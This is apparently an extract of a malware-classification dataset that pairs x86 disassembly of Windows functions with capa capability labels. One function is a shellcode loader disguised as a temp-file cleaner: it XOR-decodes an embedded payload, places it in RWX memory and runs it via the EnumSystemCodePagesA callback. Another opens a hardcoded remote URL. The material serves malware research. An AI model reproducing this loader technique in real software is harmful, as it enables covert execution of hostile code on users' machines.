joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ca35
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x45cb4d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x45cb4d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0047befb
mov esi, eax
test esi, esi
je 0x45cb4d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x45cb4d
mov ecx, esi
call fcn.0045c9a0
cmp edi, eax
jge 0x45cb4d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x45cad3
mov dword [esp + 0x34], 1
jmp 0x45cb2e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x45cb4d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0045bf20
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x47c89f
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x47c8d7
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0047a909
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047a8e1
jmp 0x47c8e3
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x47df90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x47dfd2
call fcn.00483a87
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x47dfd2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x47dfc9
xor eax, eax
jmp 0x47dfda
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0047dfe0
pop edi
pop esi
pop ebx
ret 4
Function at 0x483fb6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x483fe4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x484002
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00483f1c
jmp 0x484002
mov eax, dword [esi + 0x14]
test eax, eax
je 0x484002
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00483f1c
test edi, edi
mov eax, edi
jne 0x483fec
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401100
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x406d88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [esp + 0x28]
push esi
push edi
lea ecx, [esp + 0xc]
push eax
push ecx
mov dword [esp + 0x10], 0
call section..text
add esp, 8
mov eax, dword [esp + 0x14]
mov esi, dword [0x4070e0]
cmp eax, 1
mov dword [esp + 0x24], 0
mov byte [esp + 0x30], 0x5c
jb 0x401177
dec eax
cmp esi, eax
jae 0x401157
mov eax, esi
mov ecx, dword [esp + 0x10]
add eax, ecx
mov dl, byte [eax]
cmp dl, 0x5c
jne 0x40116c
lea edi, [esp + 0x30]
cmp dl, byte [edi]
je 0x401173
cmp eax, ecx
je 0x401177
dec eax
jmp 0x40115d
sub eax, ecx
jmp 0x401179
mov eax, esi
mov esi, dword [esp + 0x2c]
push eax
push 0
push esi
lea ecx, [esp + 0x18]
call fcn.00401470
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x4011bf
mov al, byte [ecx - 1]
test al, al
je 0x4011b5
cmp al, 0xff
je 0x4011b5
dec al
pop edi
mov byte [ecx - 1], al
mov eax, esi
pop esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret
dec ecx
push ecx
call fcn.00401cf0
add esp, 4
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret

Function at 0x4012c0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x10
lea eax, [esp]
push str.config.ini
push eax
call fcn.004011e0
mov eax, dword [eax + 4]
add esp, 8
test eax, eax
jne 0x4012e1
mov eax, 0x4070e4
push eax
push 0x400
push str.http:__crm.wh168168.com_8280
push str.http:__crm.wh168168.com_8280
push 0x40844c
push str.Login
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [esp + 4]
test eax, eax
je 0x40132e
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x401325
cmp al, 0xff
je 0x401325
dec al
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x10
ret
push ecx
call fcn.00401cf0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x10
ret
Function at 0x401340
Capabilities:
Initialize iwebbrowser2

Disassembly:
sub esp, 0x14
call fcn.004012c0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x4070f8
push 5
push 0
push 0x4070e8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [esp]
test eax, eax
je 0x40140e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
push edi
push 0
push 0
push 0xffffffffffffffff
push str.http:__crm.wh168168.com_8280
push 0
push 0
mov word [esp + 0x28], 0
call ebx
mov esi, eax
dec esi
push esi
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov edi, eax
test edi, edi
je 0x4013bf
push esi
push edi
push 0xffffffffffffffff
push str.http:__crm.wh168168.com_8280
push 0
push 0
call ebx
lea edx, [esp + 0x10]
mov eax, dword [esp + 0xc]
push edx
lea edx, [esp + 0x14]
mov ecx, dword [eax]
push edx
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x1c]
push edx
push edi
push eax
call dword [ecx + 0x2c]
push edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 1
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
push 0x64
mov eax, dword [esp + 0x10]
push eax
mov edx, dword [eax]
call dword [edx + 0x58]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
pop edi
pop esi
pop ebx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [esp]
test eax, eax
je 0x401422
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
add esp, 0x14
ret 0x10
Function at 0x4028b6
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 4]
mov esi, dword [esi]
jmp 0x40293a
cmp dword [esi + 0x14], 8
jb 0x4028d2
mov eax, dword [esi]
jmp 0x4028d4
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x402937
cmp dword [esi + 0x14], 8
jb 0x4028e9
mov ecx, dword [esi]
jmp 0x4028eb
mov ecx, esi
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
lea eax, [ecx + eax*2]
jb 0x4028fb
mov ecx, dword [esi]
jmp 0x4028fd
mov ecx, esi
push eax
push ecx
lea ecx, [ebp - 0x30]
call fcn.004011c0
push eax
push str.Failed_to_delete_file:
lea eax, [ebp - 0x18]
push eax
call fcn.00401884
push 0
push 1
lea ecx, [ebp - 0x30]
call fcn.004040a9
lea eax, [ebp - 0x18]
push eax
call fcn.00402ac7
push 0
push 1
lea ecx, [ebp - 0x18]
call fcn.004040a9
add esi, 0x18
cmp esi, edi
jne 0x4028c8
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x402946
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push esi
push edi
push 0x4215e4
push dword [ebp + 0xc]
xor edi, edi
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call fcn.004018ae
cmp dword [eax + 0x14], 8
jb 0x402975
mov eax, dword [eax]
lea ecx, [ebp - 0x2bc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push edi
push 1
lea ecx, [ebp - 0x6c]
mov esi, eax
call fcn.004040ed
cmp esi, 0xffffffff
je 0x402a5c
lea eax, [ebp - 0x290]
push eax
lea ecx, [ebp - 0x24]
call fcn.00402133
push 0x4215ec
call fcn.00405834
pop ecx
push eax
push 0x4215ec
push dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
push edi
call fcn.0040488e
test eax, eax
je 0x402a34
push 0x4215f0
call fcn.00405834
pop ecx
push eax
push 0x4215f0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
push edi
call fcn.0040488e
test eax, eax
je 0x402a34
push 0x4215f8
push dword [ebp + 0xc]
lea eax, [ebp - 0x54]
push eax
call fcn.004018ae
push 0xffffffffffffffff
push edi
lea ecx, [ebp - 0x24]
push ecx
mov ecx, eax
call fcn.0040435c
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040210e
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0xc]
call fcn.00405b64
push edi
push 1
lea ecx, [ebp - 0x3c]
call fcn.004040ed
push edi
push 1
lea ecx, [ebp - 0x54]
call fcn.004040ed
push edi
push 1
lea ecx, [ebp - 0x24]
call fcn.004040ed
lea eax, [ebp - 0x2bc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402999
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00402199
lea ecx, [ebp - 0xc]
call fcn.0040417d
mov eax, dword [ebp + 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x402f00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x402ff2
cmp byte [ebx + 0x45], 0
je 0x402ff2
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402f30
xor al, al
jmp 0x402ff4
xor eax, eax
mov dword [ebp - 8], 0xf
push eax
push 8
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov byte [ebp - 0x1c], al
call fcn.00404539
push esi
push edi
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 8]
cmp ecx, 0x10
lea eax, [ebp - 4]
mov ecx, dword [ebx + 0x40]
lea edi, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
lea esi, [ebp - 0x1c]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x402f88
dec eax
je 0x402f8c
dec eax
dec eax
je 0x402fde
xor bl, bl
jmp 0x402fe0
mov byte [ebx + 0x45], 0
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
cmp ecx, 0x10
mov esi, dword [ebp - 4]
cmovae eax, edx
sub esi, eax
je 0x402fc4
push dword [ebx + 0x50]
cmp ecx, 0x10
lea eax, [ebp - 0x1c]
push esi
cmovae eax, edx
push 1
push eax
call fcn.00409a69
add esp, 0x10
cmp esi, eax
jne 0x402f84
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
cmp byte [ebx + 0x45], 0
je 0x402fde
test esi, esi
jne 0x402f52
push esi
push 8
lea ecx, [ebp - 0x1c]
call fcn.00404259
jmp 0x402f4c
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.004040a9
pop edi
mov al, bl
pop esi
jmp 0x402ff4
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405962
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
or ebx, 0xffffffff
mov esi, ecx
mov dword [ebp - 8], esi
cmp edi, ebx
jne 0x405981
xor eax, eax
jmp 0x405ad3
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x4059ab
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
add eax, ecx
cmp ecx, eax
jae 0x4059ab
dec dword [edx]
mov edx, dword [esi + 0x20]
mov eax, dword [ebp + 8]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], al
jmp 0x405ad3
cmp dword [esi + 0x50], 0
je 0x405ad1
mov ecx, esi
call fcn.00404050
xor ecx, ecx
cmp dword [esi + 0x40], ecx
jne 0x4059d6
push dword [esi + 0x50]
push edi
call fcn.00401a51
test al, al
cmovne ebx, edi
jmp 0x405ad1
mov eax, dword [ebp + 8]
push ecx
mov dword [ebp - 0x20], ecx
mov byte [ebp - 0x30], cl
lea ecx, [ebp - 0x30]
push 8
mov byte [ebp - 4], al
mov dword [ebp - 0x1c], 0xf
call fcn.00404539
lea eax, [esi + 0x48]
mov dword [ebp - 0xc], eax
mov edi, dword [ebp - 0x1c]
mov esi, dword [esi + 0x40]
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x30]
cmp edi, 0x10
lea edx, [ebp - 0x30]
mov edi, dword [esi]
cmovae ecx, dword [ebp - 0x30]
cmovae edx, dword [ebp - 0x30]
add eax, ecx
push eax
push edx
lea eax, [ebp - 0x18]
mov ecx, esi
push eax
lea eax, [ebp - 3]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [edi + 0x1c]
test eax, eax
js 0x405ac5
cmp eax, 1
jg 0x405aac
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
cmp edi, 0x10
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 8]
cmovae eax, ecx
sub edx, eax
mov dword [ebp - 0x14], edx
je 0x405a7d
push dword [esi + 0x50]
cmp edi, 0x10
lea eax, [ebp - 0x30]
push edx
cmovae eax, ecx
push 1
push eax
call fcn.00409a69
mov edx, dword [ebp - 0x14]
add esp, 0x10
cmp edx, eax
jne 0x405ac5
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov byte [esi + 0x45], 1
cmp dword [ebp - 0x18], eax
jne 0x405aa7
test edx, edx
jne 0x4059fd
cmp dword [ebp - 0x20], 0x20
jae 0x405ac5
push edx
push 8
lea ecx, [ebp - 0x30]
call fcn.00404259
jmp 0x4059fa
mov ebx, dword [ebp + 8]
jmp 0x405ac5
cmp eax, 3
jne 0x405ac5
mov eax, dword [ebp - 8]
push dword [eax + 0x50]
push dword [ebp - 4]
call fcn.00401a51
test al, al
cmovne ebx, dword [ebp + 8]
push 0
push 1
lea ecx, [ebp - 0x30]
call fcn.004040a9
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40658a
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov eax, 0x42004e
call fcn.0040a0c8
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 0x18], 0
push 0x2faf080
call fcn.00406968
pop ecx
mov esi, eax
test esi, esi
je 0x4066e7
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [esi + 0x2faf080]
push eax
push esi
call fcn.00401a23
xor ebx, ebx
mov edi, 0x161f
mov edx, dword [ebp - 0x18]
mov cl, byte [ebx + section..data]
ror cl, 3
xor cl, byte [edx + str.oykugfgfoaxaj]
mov byte [ebx + section..data], cl
lea eax, [edx + 1]
cdq
push 0xd
pop ecx
idiv ecx
inc ebx
cmp ebx, edi
jb 0x4065d5
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
mov ebx, section..data
sub ebx, eax
mov cl, byte [ebx + edx]
mov byte [edx], cl
inc edx
dec edi
jne 0x406611
xor ebx, ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call fcn.0040a037
pop ecx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x40]
push eax
call fcn.00402a7b
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402946
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x28], eax
jne 0x406677
push str.No_temporary_files_found.
push 0x42e4a0
call fcn.00401688
push eax
call fcn.00401c5b
pop ecx
lea ecx, [ebp - 0x28]
call fcn.0040417d
push ebx
push 1
lea ecx, [ebp - 0x40]
call fcn.004040ed
jmp 0x4066e7
sub eax, dword [ebp - 0x28]
cdq
push 0x18
pop ecx
idiv ecx
push str._temporary_files_found._Do_you_want_to_delete_them___Y_N_
push eax
mov esi, 0x42e4a0
mov ecx, esi
call fcn.00402598
push eax
call fcn.00401688
lea eax, [ebp - 0x18]
push eax
push 0x42e438
call fcn.004011e9
push dword [ebp - 0x18]
call fcn.00408b1a
pop ecx
cmp ax, 0x59
jne 0x4066d0
lea eax, [ebp - 0x28]
push eax
call fcn.004028b6
push str.Temporary_files_deleted.
push esi
call fcn.00401688
push eax
call fcn.00401c5b
pop ecx
lea ecx, [ebp - 0x28]
call fcn.0040417d
push ebx
push 1
lea ecx, [ebp - 0x40]
call fcn.004040ed
or dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4078b3
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x4200dd
call fcn.0040be50
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x40], ebx
je 0x4079ab
cmp byte [esi + 0x46], bl
je 0x4079ab
mov eax, dword [esi]
mov edi, 0xffff
push edi
call dword [eax + 0xc]
movzx eax, ax
cmp di, ax
jne 0x4078ef
xor al, al
jmp 0x4079ad
push ebx
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call fcn.00404539
mov dword [ebp - 4], ebx
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov ebx, edi
cmp eax, 0x10
jae 0x40791c
lea ebx, [ebp - 0x28]
mov edi, ebx
mov ecx, dword [esi + 0x40]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, ebx
mov edx, dword [ecx]
push eax
push edi
lea eax, [esi + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x407943
dec eax
je 0x407947
dec eax
dec eax
je 0x407999
xor bl, bl
jmp 0x40799b
mov byte [esi + 0x46], 0
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
mov ecx, edi
cmp eax, 0x10
jae 0x407957
lea ecx, [ebp - 0x28]
mov ebx, dword [ebp - 0x2c]
sub ebx, ecx
je 0x40797f
cmp eax, 0x10
jae 0x407966
lea edi, [ebp - 0x28]
push dword [esi + 0x50]
push ebx
push 1
push edi
call fcn.00409a69
add esp, 0x10
cmp ebx, eax
jne 0x40793f
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
cmp byte [esi + 0x46], 0
je 0x407999
test ebx, ebx
jne 0x407910
push ebx
push 8
lea ecx, [ebp - 0x28]
call fcn.00404259
jmp 0x40790a
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.004040a9
mov al, bl
jmp 0x4079ad
mov al, 1
call fcn.0040be0e
ret
Function at 0x41afaf
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42cd78]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040d489
mov dword [ebp - 0x14], eax
cmp dword [0x42f5bc], esi
jne 0x41b0a2
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41b02f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41b182
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41b182
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41b182
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42f5bc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42f5c0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42f5c4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42f5cc], eax
test eax, eax
je 0x41b09f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42f5c8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41b0c7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41b0ba
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41b0dc
push 4
pop eax
jmp 0x41b184
cmp dword [ebp - 0x14], esi
je 0x41b0dc
push dword [0x42f5bc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41b0c1
mov eax, dword [0x42f5c8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41b13a
cmp dword [0x42f5cc], edi
je 0x41b13a
push eax
call ebx
push dword [0x42f5cc]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41b13a
test eax, eax
je 0x41b13a
call ecx
test eax, eax
je 0x41b12f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41b12f
test byte [ebp - 8], 1
jne 0x41b13a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41b16a
mov eax, dword [0x42f5c0]
cmp eax, edi
je 0x41b167
push eax
call ebx
test eax, eax
je 0x41b167
call eax
mov esi, eax
test esi, esi
je 0x41b167
mov eax, dword [0x42f5c4]
cmp eax, edi
je 0x41b167
push eax
call ebx
test eax, eax
je 0x41b167
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42f5bc]
call ebx
test eax, eax
je 0x41b182
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x41b184
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040bdeb
mov esp, ebp
pop ebp
ret
Function at 0x1006653
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x178
mov eax, dword [0x10261a8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FindResourceExW]
push edi
push dword [ebp + 0x10]
movzx edi, word [ebp + 0xc]
push edi
push 6
push eax
mov dword [ebp - 0x174], eax
call esi
xor ebx, ebx
mov dword [ebp - 0x160], eax
cmp eax, ebx
jne 0x100683d
push ebx
push 0x55
lea eax, [ebp - 0xb0]
push eax
movzx eax, word [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LCIDToLocaleName]
test eax, eax
je 0x100670e
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x6d
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
je 0x100670e
push 0x55
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_ResolveLocaleName]
push ebx
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_LocaleNameToLCID]
cmp eax, ebx
je 0x100670e
push eax
push edi
push 6
push dword [ebp - 0x174]
call esi
mov dword [ebp - 0x160], eax
cmp eax, ebx
jne 0x100683d
mov edi, dword [sym.imp.KERNEL32.dll_GetUserPreferredUILanguages]
lea eax, [ebp - 0x164]
push eax
push ebx
lea eax, [ebp - 0x168]
push eax
push 4
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x164], ebx
call edi
test eax, eax
je 0x1006827
mov eax, dword [ebp - 0x164]
cmp eax, ebx
jbe 0x1006827
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
mov dword [ebp - 0x16c], eax
cmp eax, ebx
je 0x1006827
lea ecx, [ebp - 0x164]
push ecx
push eax
lea eax, [ebp - 0x168]
push eax
push 4
call edi
test eax, eax
je 0x1006813
mov edi, dword [ebp - 0x16c]
mov dword [ebp - 0x170], ebx
cmp dword [ebp - 0x168], ebx
jbe 0x1006813
push 0x10
push ebx
push edi
call dword [sym.imp.msvcrt.dll_wcstoul]
add esp, 0xc
movzx eax, ax
push eax
movzx eax, word [ebp + 0xc]
push eax
push 6
push dword [ebp - 0x174]
call esi
mov dword [ebp - 0x160], eax
cmp eax, ebx
jne 0x1006813
lea eax, [ebp - 0x178]
push eax
push dword [ebp - 0x164]
mov dword [ebp - 0x178], ebx
push edi
call fcn.01005e0c
test eax, eax
jl 0x1006813
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x164]
lea edi, [edi + eax*2 + 2]
mov eax, dword [ebp - 0x16c]
lea eax, [eax + ecx*2]
cmp edi, eax
jae 0x1006813
inc dword [ebp - 0x170]
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0x168]
jb 0x100679b
push dword [ebp - 0x16c]
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
pop ecx
cmp dword [ebp - 0x160], ebx
jne 0x100683d
movzx eax, word [ebp + 0xc]
push ebx
push eax
push 6
push dword [ebp - 0x174]
call esi
mov dword [ebp - 0x160], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x160]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0100c84f
leave
ret 0xc